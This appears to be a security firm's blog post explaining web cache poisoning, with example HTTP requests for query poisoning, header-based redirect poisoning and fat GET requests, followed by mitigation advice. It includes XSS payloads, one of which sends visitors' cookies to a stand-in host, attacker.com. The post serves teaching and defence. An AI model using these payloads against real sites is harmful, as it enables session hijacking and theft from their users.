In unserem Blog veröffentlichen wir in unregelmäßigen Abständen Artikel zu verschiedenen Themen der IT-Sicherheit, wie z. B. Open Penetrationstests, öffentlichen Bedrohungsanalysen und Analysen zu anderen interessanten Themen.

Web Caches are widely used, but their impact on security is often overlooked. In this post, we explain one attack class targeting web caches called “Web Cache Poisoning”. You will learn how “Web Cache Poisoning” might allow a malicious actor to exploit a web cache to attack your users or your application and how you can prevent this attack.

Web Caches Improve Your Performance

Using caches for websites has many advantages, such as shorter loading times for users and a reduced load on web servers and their databases. Web caches achieve this by storing a temporary copy of files or data, such as a web page, which a web server has served. If a user visits a web page that should be cached but is not yet cached, the web cache forwards the request to the web server and stores the response. For a specific amount of time or until a particular event occurs, every other user gets served the cached response and the web server is not invoked again.

Web Caches Description

Web Caches Description

Figure 1: Overview of the function of web caches.

What happens if a cached copy of a web page contains any malicious content? That is where an attack class called “Web Cache Poisoning” comes into play. There are many different kinds of web cache poisoning techniques, resulting in attacks like Denial of Service (DOS), stored Cross-Site Scripting (XSS), redirects, or defacements. In this blog post, we give you an overview about web cache poisoning. Moreover, we describe three different web cache poisoning techniques, which result in stored XSS and a redirect.

Web Cache Poisoning

Example 1: Query Poisoning

Web caches use so-called “cache keys” to determine whether a cached copy gets served or the request is forwarded to the web server. In the following, the bold text represents these cache keys. Parts of the request, which are also part of the cache key, are called “keyed”. Otherwise, they are called “unkeyed”. Every request to example.com/register/account.php has the same cache keys, which means that every user requesting this URL gets served the same cached copy of the web page. The query parameter referral is unkeyed and does not have an impact on the caching behavior.

Request:

GET /register/account.php?referral=<script>alert(document.cookie)</script> HTTP/1.1
Host: example.com

Response:

200 OK
...
<p>You got referred by <script>alert(document.cookie)</script></p>
...

This example page is vulnerable to reflected Cross-Site Scripting (XSS). If the web cache would cache this response, then every user visiting example.com/register/account.php would see a popup containing the cookies.

Web Caches Poisoning Attack Description

Web Caches Poisoning Attack Description

Figure 2: A successful web cache poisoning attack using the query poisoning technique.

That alone is bad, but it could be worse. Let us take a look at the following XSS payload:

<script>
  var i = new Image();
  i.src="https://attacker.com/log.php?cookie=" + escape(document.cookie);
</script>

The browser is tricked into requesting the attacker’s site and therefore it sends the user’s cookies to the attacker. If the web page – including this malicious JavaScript code – would be cached, the attacker would receive the cookies from every user which visits the web page. The attacker can now use the stolen cookies to hijack the sessions of all affected users.


Example 2: Route Poisoning

Request:

GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com

Response:

HTTP/1.1 302 Found
Location: https://attacker.com/

In this example, the web server uses the X-Forwarded-Host header, if present, to redirect the user to the specified host. However, the X-Forwarded-Host header is unkeyed. The web cache caches the response independently of the value of the header. Every other user of example.com/ receives the cached answer and is redirected to https://attacker.com/.


Example 3: Fat GET Request

Let us have a second look at the vulnerability we exploited in Example 1. The vulnerability is fixed when the referral query parameter is keyed. This makes sense for the application logic anyway; if the referral parameter is unkeyed, newly registered users will always use the same cached referral value.

Attacker Request:

GET /register/account.php?referral=<script>alert(document.cookie)</script> HTTP/1.1
Host: example.com

Attacker Response:

200 OK
...
<p>You got referred by <script>alert(document.cookie)</script></p>
... 

User Request:

GET /register/account.php?referral=test HTTP/1.1
Host: example.com

User Response:

200 OK
...
<p>You got referred by test</p>
...

The application is still vulnerable to reflected XSS. Due to the updated web cache, an attacker cannot elevate the vulnerability to a way more severe stored XSS vulnerability. Or can they? There are numerous advanced techniques to trick web caches into treating two requests as the same despite their differences – even if the web caches’ configuration seems to be correct [1]. These techniques utilize discrepancies in how the web cache and the web framework or web server interpret requests. In the following example, we will present the so-called fat GET technique.

Attacker Request:

GET /register/account.php?referral=popularreferrer HTTP/1.1
Host: example.com
X-HTTP-Method-Override: POST

referral=<script>alert(document.cookie)</script>

Attacker Response:

200 OK
...
<p>You got referred by <script>alert(document.cookie)</script></p>
...

Victim Request:

GET /register/account.php?referral=popularreferrer HTTP/1.1
Host: example.com

Victim Response:

200 OK
...
<p>You got referred by <script>alert(document.cookie)</script></p>
...

In this scenario, the attacker uses a popular value for the referral query parameter. Only users who use the same referral value get the cached response because the referral query parameter is now keyed. The attacker adds an additional referral parameter to the request body and injects their malicious XSS payload. Some frameworks, such as Ruby on Rails, prefer body parameters over query parameters [1] [2] and would use the attacker’s payload instead of “popularreferrer”. The web cache on the other hand doesn’t key the body of a request. The attacker could now automate the process of poisoning as many different popular referral values as possible to maximize the number of victims or they could just poison specific referral values to target specific victims. Other frameworks that ignore body parameters for GET requests, may be tricked into preferring them by changing the HTTP Method to POST or, like in this example, by adding the X-HTTP-Method-Override header with the value POST.

How To Secure Your Application Against Web Cache Poisoning

Using web caches effectively and in a secure way is no plug and play, but requires a manual configuration most of the time. You might not even know you are using web caches, as they can be located at many different places, such as CDNs, web servers, frameworks, or templates. There is no guideline for web caches defined, which parameters or headers they key and which not. It is best practice to cache only static files, but that is not always a satisfying solution. It might improve the performance way more if you also cache dynamic files.

If you decide to cache dynamic files as well, make sure to follow these rules:

  • The configuration of the Web Cache you use suits your web application.
  • Every header or parameter, which can have any impact on the response, is keyed.
  • When switching web caches, you have to inform yourself about the varying default settings. Maybe the new web cache keys something you do not want to be keyed or vica versa.

Outlook

Testing if your application is vulnerable to web cache poisoning manually can be a hideous and time-consuming task. We are currently developing a security tool that aims to make it easy for everyone to test their applications for different web cache poisoning vulnerabilities automatically from the command line.

Our plan is to finish and release the first version of the tool until fall 2021. Follow us on Twitter to make sure you do not miss the next blog posts and thus insides about the tool.

 

Do you think the attack described above is interesting and would you like to execute it in a penetration test yourself? Have a look at our career page and see if there is an interesting job offer for you.

 


[1] J. Kettle. Web Cache Entanglement: Novel Pathways to Poisoning, 2020. URL: https://portswigger.net/kb/papers/c3wwniai/web-cache-entanglement.pdf.

[2] A. Goldschmidt. Cache poisoning in popular open source packages, 2021. URL: https://snyk.io/blog/cache-poisoning-in-popular-open-source-packages/.

J. Kettle. Practical Web Cache Poisoning: Redefining 'Unexploitable', 2020. URL: https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf.